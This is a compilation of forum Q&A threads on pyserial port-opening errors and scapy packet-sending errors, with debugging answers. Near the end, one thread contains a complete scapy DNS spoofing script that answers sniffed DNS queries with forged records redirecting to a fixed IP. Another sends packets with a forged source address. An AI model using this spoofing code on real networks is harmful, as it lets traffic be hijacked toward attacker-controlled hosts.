I am having problems decoding this error message for the python on my Raspberry Pi. Please don't tell me to head to that SE, they sent me here as no one really knew what it means. It is from [GitHub][1]
Here is the error output:
Traceback (most recent call last):
File "/home/pi/piarduino/MissionControl-master/mcDesk.py", line 8, in <module> serialFromArduino = serial.Serial("/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0", 115200)
File "/usr/lib/python2.7/dist-packages/serial/serialutil.py", line 260, in __init__
self.open()
File "/usr/lib/python2.7/dist-packages/serial/serialposix.py", line 276, in open
raise SerialException("could not open por %s: %s" % (self._port, msg))
SerialException: could not open port /dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0: [Errno 2] No such file or directory: '/dev/serial/by-id/usb-FTDI_FTDI_FT232R_USB_UART_A900aepy-if800-port0'
Basic troubleshooting:
Try running your script as root using sudo. It's possible you're being denied access to the serial port.
Run ls /dev/serial/by-id in a shell. Make sure the serial port you are trying to open exists and matches exactly with the port you're trying to open in your program.
If neither of those options work, try these steps.
If you care to update your question with more details, we may be able to help you further.
Related
While reading serial port from COM4 port using python, i get the following error:
----------------------------------------------------------------------------
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>python.exe eMPL-client.py 4
Traceback (most recent call last):
File "eMPL-client.py", line 543, in <module>
data_delegate = data)
File "eMPL-client.py", line 23, in __init__
self.s = serial.Serial(port,115200)
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialwin32.py", line 31, in __init__
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 162, in init
File "C:\Users\admin\AppData\Local\Programs\Python\Python35-32\lib\site-
packages\pyserial-3.1.1-py3.5.egg\serial\serialutil.py", line 206, in port
ValueError: "port" must be None or a string, not
F:\Invsense\motion_driver_6.12\eMPL-pythonclient>
This error is coming from serialutil.py. Can you please help me to resolve this problem. I checked COM4 port seperately using putty tool and it worked fine.
Regards
Vinay
The problem is with the Invensense python script.
Open eMPL-client.py in text editor and search for the line: comport = int(sys.argv[1]) - 1
change it to: comport = sys.argv[1]
The script was trying to cast the string 'COM4' into an integer before passing it to the serial function, which wants a string anyway. I think maybe they were using an old version of pyserial because there are some other errors in the script.
Comment out (or delete) these lines:
self.s.setTimeout(0.1)
self.s.setWriteTimeout(0.2)
Run the client with python eMPL-client.py COM4
After all this my python client is showing the MPU data correctly. I hope this isn't too late!
So I'm working on a program to simulate a data terminal. The program uses GUI and is required to read the data from the COM port and write to it as well. I've used the pyserial library and the read part of the program is correctly implemented.
However, When I attempt to write using the same port, an exception is raised by the library saying the port is not accessible. It should be possible to read and write using the same COM port since it's full duplex, so the problem must lie in the way I'm approaching it. Can anyone shed any light as to how, I can enable the write part of the program as well.
Edit: Here is the traceback of the exception:
Traceback (most recent call last):
File "C:\Ankit\python_27\lib\threading.py", line 801, in __bootstrap_inner
self.run()
File "C:\Ankit\SerWatchCode\serialcomm.py", line 85, in run
self.ser.open()
File "C:\Ankit\python_27\lib\site-packages\serial\serialwin32.py", line 62, in open
raise SerialException("could not open port %r: %r" % (self.portstr, ctypes.WinError()))
SerialException: could not open port 'COM2': WindowsError(5, 'Access is denied.')
I have a problem with opening a serial USB port in windows 7 over my Python code.
TeraTerm and Docklight are able to open port without any problems.
When I try to open the port it comes up with the following error
SerialException: Cannot configure port, something went wrong. Original message: WindowsError(31, 'A device attached to the system is not functioning.')
I need to know if I am using the right serial lib. Maybe there is one that can open it without messing with the OS.
the following code returns the error above
ser = serial.Serial()
ser.port = 'COM5'
ser.open()
The entire message is as follows:
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\IPython\core\interactiveshell.py", line 2883, in run_code
exec(code_obj, self.user_global_ns, self.user_ns)
File "<ipython-input-13-882203061f11>", line 4, in <module>
ser.open()
File "C:\Python27\lib\site-packages\serial\serialwin32.py", line 78, in open
self._reconfigure_port()
File "C:\Python27\lib\site-packages\serial\serialwin32.py", line 220, in _reconfigure_port
raise SerialException("Cannot configure port, something went wrong. Original message: %r" % ctypes.WinError())
SerialException: Cannot configure port, something went wrong. Original message: WindowsError(31, 'A device attached to the system is not functioning.')
Thanks for support
This is not pyserial fault, what this lib do is act as 'bridge' between your python code and windows native code from kernel32 lib using ctypes.
My guess is that your fimware or device driver is faulty but well... WINAPI Serial api is a little buggy as well anyway.
i need to debug a program i wrote in Eclipse with PyDev plugin. However I can not debug it because Eclipse obviously does not have the permission to do so.
I always get the following error when debugging reaches the send() function.
socket.error: [Errno 1] Operation not permitted
Running Eclipse with gksudo does not work either. It opens, but it says the editor could not be found.
Could not open the editor: No editor descriptor for id
org.python.pydev.editor.PythonEditor
How do I fix this?
I can't post the full code, it's too long. Here is a kind of breakdown, which causes the same error. Eclipse is not allowed the execute the send() function. Executing it with sudo in the command shell works.
from scapy.all import *
from scapy.layers.inet import IP, UDP
class SomeIP(Packet):
name = "SomeIP Packet"
fields_desc=[XShortField("X", 0x1000),
XShortField("Y", 0x1000)]
SIP = SomeIP()
packet = IP(src="129.168.101.164",dst="192.168.101.143")/UDP(sport=1000, dport=1000)/SIP
send(packet, verbose=False)
Here is the error I get - the first line can be ignored.
WARNING: No route found for IPv6 destination :: (no default route?)
Traceback (most recent call last):
File "scapy_test.py", line 19, in <module>
send(packet, verbose=False)
File "/usr/lib/python2.7/dist-packages/scapy/sendrecv.py", line 251, in send
__gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime)
File "/usr/lib/python2.7/dist-packages/scapy/arch/linux.py", line 307, in __init__
self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Could you use another port number? If I understand your code correctly you try to open a port on number 1000. Since port numbers up to 1024 can only be used by root, setting the port number to something higher than 1024 could maybe solve the problem.
I'm using python 2.7 and scapy-2.2.0 in windows xp.
I'm trying dns spoofing and it works well in python. but when I make to .exe and execute it, I got this error
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
How can I fix it? Please help.
This is source code.
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
I had the same error when I tried send(IP(dst="1.2.3.4")/ICMP()), and I found on github that my problem was that I was using IDLE instead of the Command Prompt/Powershell on windows.
This is the output in the Powershell:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
Maybe this is not the problem OP had, but this is the first thread on Google so it might help someone.
It looks like a wrong file descriptor (handle) is being used. E.g. something open as stdout (pipe) is used as a socket.
If I understand correctly, same program works from source and fails when rolled into an exe. Am I right?
If you ran it on linux, you would use strace to figure out which.
Equivalent tools on windows are Process Monitor and Logger.exe.